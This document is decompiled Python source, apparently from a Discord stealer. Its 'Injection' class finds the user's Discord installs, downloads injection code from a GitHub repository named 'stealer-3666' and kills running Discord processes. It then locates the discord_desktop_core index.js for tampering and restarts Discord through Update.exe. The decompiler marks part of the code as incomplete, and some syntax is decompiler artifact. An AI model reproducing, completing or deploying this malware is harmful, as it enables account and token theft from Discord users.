# Source Generated with Decompyle++
# File: injection.pyc (Python 3.10)

import os
import re
import subprocess
import psutil
import requests

class Injection:
    
    def __init__(self = None, webhook = None):
        self.appdata = os.getenv('LOCALAPPDATA')
        self.discord_dirs = [
            self.appdata + '\\Discord',
            self.appdata + '\\DiscordCanary',
            self.appdata + '\\DiscordPTB',
            self.appdata + '\\DiscordDevelopment']
        self.code = requests.get('https://github.com/GMB-ZKG/stealer-3666/blob/main/src/components/injection.py').text
        for proc in psutil.process_iter():
            if 'discord' in proc.name().lower():
                proc.kill()
    # WARNING: Decompyle incomplete

    
    def get_core(self = None, dir = None):
        for file in os.listdir(dir):
            if re.search('app-+?', file):
                modules = dir + '\\' + file + '\\modules'
                if not os.path.exists(modules):
                    continue
                for file in os.listdir(modules):
                    if re.search('discord_desktop_core-+?', file):
                        core = modules + '\\' + file + '\\' + 'discord_desktop_core'
                        if not os.path.exists(core + '\\index.js'):
                            continue
                        return (core, file)
                    return None

    
    def start_discord(self = None, dir = None):
        update = dir + '\\Update.exe'
        executable = dir.split('\\')[-1] + '.exe'
        for file in os.listdir(dir):
            if re.search('app-+?', file):
                app = dir + '\\' + file
                if os.path.exists(app + '\\' + 'modules'):
                    for file in os.listdir(app):
                        if file == executable:
                            executable = app + '\\' + executable
                            subprocess.call([
                                update,
                                '--processStart',
                                executable], True, subprocess.PIPE, subprocess.PIPE, **('shell', 'stdout', 'stderr'))


